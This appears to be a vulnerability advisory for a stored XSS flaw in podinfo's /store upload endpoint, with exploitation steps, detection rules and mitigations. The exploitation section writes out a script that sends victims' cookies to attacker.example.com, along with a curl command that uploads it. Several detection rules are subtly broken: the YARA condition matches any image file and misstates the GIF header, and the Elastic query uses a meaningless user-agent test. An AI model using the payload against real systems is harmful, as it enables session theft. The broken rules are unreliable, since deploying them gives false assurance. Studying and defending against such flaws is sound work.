CVE-2025-70849

Executive Summary

CVE-2025-70849 is an unauthenticated arbitrary file upload vulnerability affecting podinfo through version 6.9.0. The flaw resides in the /store endpoint, which accepts crafted POST requests and renders uploaded content without an adequate Content-Security-Policy (CSP) or proper Content-Type validation, resulting in stored Cross-Site Scripting (XSS). This vulnerability exposes any publicly accessible podinfo instance to remote attackers, who can upload malicious HTML/JavaScript payloads that execute in the context of legitimate users' browsers. The CVSS score has not been assigned (N/A), and no public exploit code or empirical proof-of-concept has been confirmed; however, patch confidence is rated 2/4, meaning a patch is claimed by a single source but remains unverified by independent parties.

Technical Analysis

The vulnerability exists in the HTTP file storage functionality of podinfo, an open-source demo application commonly used for Kubernetes-ready microservice demonstrations. The /store endpoint accepts multipart/form-data POST requests without requiring any authentication or session token. The application processes the uploaded file, stores it on the backend storage, and subsequently makes it retrievable via a public URL.

The critical flaw is twofold:

1. Missing Content-Type Validation: The server does not constrain the Content-Type header of the uploaded files. An attacker can upload files with Content-Type values such as text/html, application/xhtml+xml, or even omit the header entirely. The server stores the file with the attacker-supplied MIME type, which browsers will honor when the file is later fetched.

2. Insufficient Content-Security-Policy: The application does not emit a restrictive CSP header when serving stored content. Without CSP directives such as default-src 'none' or script-src 'none', the uploaded content can execute inline JavaScript when rendered by a victim's browser. This transforms the file storage feature into a stored XSS vector.

Attack surface assessment:

• Authentication: None required on the upload path.
• Access Vector: Network — the /store endpoint is exposed on the HTTP listener (typically port 9898 or behind a Kubernetes ingress).
• Preconditions: The podinfo application must be running with the /store endpoint enabled and reachable.
• Impact Context: Since podinfo is frequently deployed as a demo/test application in dev environments, the stored XSS may be triggered by developers, testers, or administrators accessing the uploaded content through the UI or direct URL.

Exploitation Scenarios

Attack Chain Step-by-Step:

1. Reconnaissance / Target Identification:
   An attacker scans the internet for podinfo instances using Shodan or Censys with queries such as http.title:"podinfo" or identifies pods via Kubernetes service discovery. A target that exposes the /store endpoint (detected via curl https://target/store returning HTTP 200 or a file listing) is selected.

2. Weaponization / Trigger:
   The attacker crafts a malicious HTML file containing a JavaScript payload. For example, create evil.html with the following content:

   <html>
   <body>
   <script>
   fetch('https://attacker.example.com/exfil?cookie=' + document.cookie);
   </script>
   </body>
   </html>
   

   Next, upload this file via a crafted POST request:

   curl -X POST https://target:9898/store \
        -F "file=@evil.html;type=text/html"
   

   Because the server does not validate the Content-Type, the file is stored as text/html.

3. Payload Execution:
   The uploaded file is now accessible at https://target:9898/store/evil.html. The attacker then crafts a link or uses a second XSS vector (e.g., a stored message in any other component) to lure a legitimate user into opening this URL. Since the podinfo UI may embed or reference files from /store, the attacker could also upload a file named with a predictable path and wait for the UI to render it automatically.

4. Post-Exploitation Impact:
   When a victim (developer, admin, or CI/CD operator) opens the malicious URL, the browser executes the JavaScript in the origin of https://target:9898. The script can:

   • Steal session cookies or authentication tokens.
   • Perform CSRF-like actions against podinfo's local API endpoints.
   • Redirect to a phishing page or drop a second-stage payload.
   • Access any microservice credentials exposed in the page's DOM or environment (if podinfo is configured with demo APIs).

Additional Technique — Polyglot Payloads:
An attacker could upload an SVG or image file with embedded JavaScript that executes when rendered inline, bypassing naive MIME filtering that only checks the extension. This increases the realism of the attack in environments where HTML uploads are logged but images are allowed.

Impact Assessment

Business Impact:

• Confidentiality: Moderate — Stored XSS can expose session tokens, API keys, or internal information displayed in the podinfo dashboard. However, podinfo is typically a demo app without sensitive data by default.
• Integrity: Moderate — An attacker can modify any file stored under /store, potentially defacing demo pages or injecting malicious content served to other users.
• Availability: Low — No direct denial-of-service is documented, but an attacker could flood the storage backend with large files or exhaust disk space.

Affected Systems:

• All podinfo deployments running version 6.9.0 or earlier with the /store endpoint exposed.
• Kubernetes clusters using podinfo as a demo workload behind an ingress controller.
• CI/CD pipelines that reference podinfo for integration tests.

Blast Radius:
The vulnerability is confined to the podinfo application itself. However, in misconfigured environments where podinfo has access to other cluster services (via service account tokens), the stored XSS could be escalated to lateral movement (SSRF via JavaScript fetch to internal cluster IPs, or token theft from the pod's environment).

Note: CVSS score is N/A — no official vector exists. Given the unauthenticated upload and stored XSS, if scored, a reasonable estimate would fall in the High (7.0–8.9) band per the stated severity labels.

Detection Guidance

Sigma Rule

title: Podinfo Arbitrary File Upload - POST to /store Endpoint
id: 3f7e9c4a-2b8d-4e6f-9a1c-5d8e2f4a6b7c
status: experimental
description: Detects unauthenticated POST requests to the podinfo /store endpoint with suspicious file content types
logsource:
  category: webserver
  product: nginx
  definition: 'Accounts for podinfo behind an nginx reverse proxy'
detection:
  selection:
    cs-method: 'POST'
    cs-uri-path:
      - '/store'
      - '/store/*'
  filter_content:
    cs-content-type:
      - 'application/octet-stream'
      - 'text/plain'
  condition: selection and not filter_content
falsepositives:
  - Legitimate file uploads by application users
level: high

YARA Rule

rule Podinfo_StoredXSS_Payload {
  meta:
    author = "ValterSI SOC"
    description = "Detects malicious HTML payloads uploaded to podinfo /store endpoint"
    date = "2025-04-14"
    reference = "CVE-2025-70849"
  strings:
    $script_tag = "<script>" ascii nocase
    $xss_payload_1 = "document.cookie" ascii nocase
    $xss_payload_2 = "fetch(" ascii nocase
    $xss_payload_3 = "XMLHttpRequest" ascii nocase
    $content_type_html = "Content-Type: text/html" ascii nocase
  condition:
    uint16(0) == 0xFFD8 or        // JPEG header
    uint32(0) == 0x38424947 or    // GIF header
    uint32(0) == 0x474E5089 or    // PNG header
    filesize < 50KB and
    2 of ($xss_payload*) and
    $script_tag
}

Suricata IDS Rule

alert http any any -> any any (msg:"CVE-2025-70849 Podinfo Arbitrary File Upload Attempt"; flow:to_server,established; http.method; content:"POST"; http.uri; content:"/store"; nocase; http.request_header; content:"Content-Type: text/html"; nocase; sid:2025084901; rev:1; metadata:cve CVE-2025-70849;)

Elastic Detection

sequence by source.ip
  [network where event.type == "start" and http.response.status_code == 200]
  [http where request.method == "POST" and request.uri == "/store" and
     (headers.user_agent == null or headers.user_agent != "") and
     request.headers.content_type == "text/html"]

Splunk SPL Query

sourcetype="access_combined_wcookie" 
| search method=POST uri_path="/store" 
| rex field=uri_path "^(?<endpoint>/store.*)$"
| search NOT content_type="application/octet-stream" AND NOT content_type="text/plain"
| table _time, clientip, uri, status, content_type, bytes
| sort -_time

Wazuh OSSEC Rule

<rule id="100708" level="12">
  <decoded>post</decoded>
  <field name="uri">/store</field>
  <field name="content_type">text/html</field>
  <description>Podinfo arbitrary file upload attempt (CVE-2025-70849)</description>
  <group>web_application_attack,podinfo,xss,</group>
  <mitre>
    <id>T1190</id>
  </mitre>
</rule>

Mitigation & Patch Guidance

Patch Confidence: 2/4 (CLAIMED — single source claims patch (not independently confirmed))

1. Immediate Mitigations (do first):

   • Restrict network access to the /store endpoint. Place an ingress rule or firewall ACL that only allows traffic from trusted sources (e.g., corporate VPN, internal cluster CIDR).
   • Set a restrictive Content-Security-Policy header at the reverse proxy or ingress layer for all responses originating from podinfo. At minimum: Content-Security-Policy: default-src 'none'; script-src 'none'; style-src 'none'.
   • Add a WAF rule to block POST requests to /store with Content-Type: text/html or application/xhtml+xml.

2. Patch / Upgrade Steps:

   • Verify whether a patched version exists beyond 6.9.0. Contact the podinfo maintainers or check the official GitHub repository (github.com/stefanprodan/podinfo) for a new release. If a patch is available, upgrade:

     # Helm upgrade example
     helm upgrade podinfo --repo https://stefanprodan.github.io/podinfo --version [NEW_VERSION]
     

   • If no official patch is confirmed, consider forking and applying a manual fix: add a MIME-type whitelist (allow only images, PDFs) and enforce Content-Disposition: attachment when serving files from /store.

3. Long-Term Hardening:

   • Run podinfo with a service account that has minimal RBAC permissions to prevent token exfiltration leading to cluster compromise.
   • Implement a policy that files in /store are served with X-Content-Type-Options: nosniff and Content-Type: application/octet-stream regardless of upload metadata.
   • Monitor the podinfo deployment with the detection rules provided above. Review any upload activity in audit logs for anomalous content types.
   • If podinfo is only used for demos, consider disabling the /store endpoint entirely at the ingress layer.

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2025-70849
2. Podinfo GitHub Repository (maintainer: stefanprodan): https://github.com/stefanprodan/podinfo — check for release notes or advisories beyond version 6.9.0.
3. CWE-434 (Unrestricted Upload of File with Dangerous Type): https://cwe.mitre.org/data/definitions/434.html
4. CISA KEV Catalog: https://www.cisa.gov/known-exploited-vulnerabilities-catalog — no entry for CVE-2025-70849 as of this report's publication.
5. MITRE ATT&CK Technique T1190 (Exploit Public-Facing Application): https://attack.mitre.org/techniques/T1190/

Threat Actor Campaigns / Exploit-in-the-Wild:
As of the writing of this report, there are no confirmed reports of ransomware groups, APTs, or other threat actors exploiting CVE-2025-70849 in the wild. No exploit code has been published. However, given that podinfo is a widely deployed demo application in Kubernetes clusters, offensive security researchers are likely to include this in tooling (e.g., nuclei templates) within the coming weeks. Security teams should treat this as a moderate-priority risk until a verified patch is released.